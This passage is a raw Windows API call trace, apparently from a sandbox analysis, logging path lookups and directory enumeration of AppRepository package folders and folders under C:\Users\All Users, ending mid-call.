GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0216.380] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0216.383] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0216.384] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0216.385] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0216.388] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0216.389] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0216.390] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0216.394] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0216.395] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0216.395] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0216.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0216.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0216.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0216.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0216.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0216.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0216.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0216.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0216.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0216.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0216.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0216.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0216.597] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0216.599] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0216.600] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x77 [0216.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0216.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0216.605] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0216.606] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0216.607] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x77 [0216.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0216.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0216.783] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0216.784] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0216.785] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x77 [0216.789] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0216.790] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0216.790] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x77 [0217.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0217.875] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Start Menu", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Start Menu", lpFilePart=0x0) returned 0x1d [0217.875] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*" (normalized: "c:\\users\\all users\\start menu\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcd00) returned 1 [0218.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0218.075] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates", lpFilePart=0x0) returned 0x1c [0218.075] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*" (normalized: "c:\\users\\all users\\templates\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0218.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcd00) returned 1 [0218.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0218.080] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates", lpFilePart=0x0) returned 0x1c [0218.081] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*" (normalized: "c:\\users\\all users\\templates\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0218.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcd00) returned 1 [0218.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0218.085] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate", lpFilePart=0x0) returned 0x1d [0218.086] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\*" (normalized: "c:\\users\\all users\\usoprivate\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.086] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.087] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x168f3a2b, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x168f3a2b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0218.087] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x168f3a2b, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x168f3a2b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 0 [0218.087] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0218.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc90) returned 1 [0218.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc50) returned 1 [0218.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0218.088] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate", lpFilePart=0x0) returned 0x1d [0218.088] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\*" (normalized: "c:\\users\\all users\\usoprivate\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.088] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.089] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x168f3a2b, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x168f3a2b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0218.089] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.089] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0218.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc90) returned 1 [0218.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc50) returned 1 [0218.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dc5a0) returned 1 [0218.090] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate\\UpdateStore", lpFilePart=0x0) returned 0x29 [0218.090] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\*" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x168f3a2b, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x168f3a2b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.091] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x168f3a2b, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x168f3a2b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.091] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x15f6a3e7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1679c472, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1 [0218.091] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.091] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0218.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0218.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc490) returned 1 [0218.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dc5a0) returned 1 [0218.092] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate\\UpdateStore", lpFilePart=0x0) returned 0x29 [0218.092] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\*" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x168f3a2b, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x168f3a2b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.092] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x168f3a2b, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x168f3a2b, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.093] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x15f6a3e7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1679c472, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1 [0218.093] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x15f6a3e7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1679c472, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 0 [0218.094] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0218.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0218.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc490) returned 1 [0218.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0218.094] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All 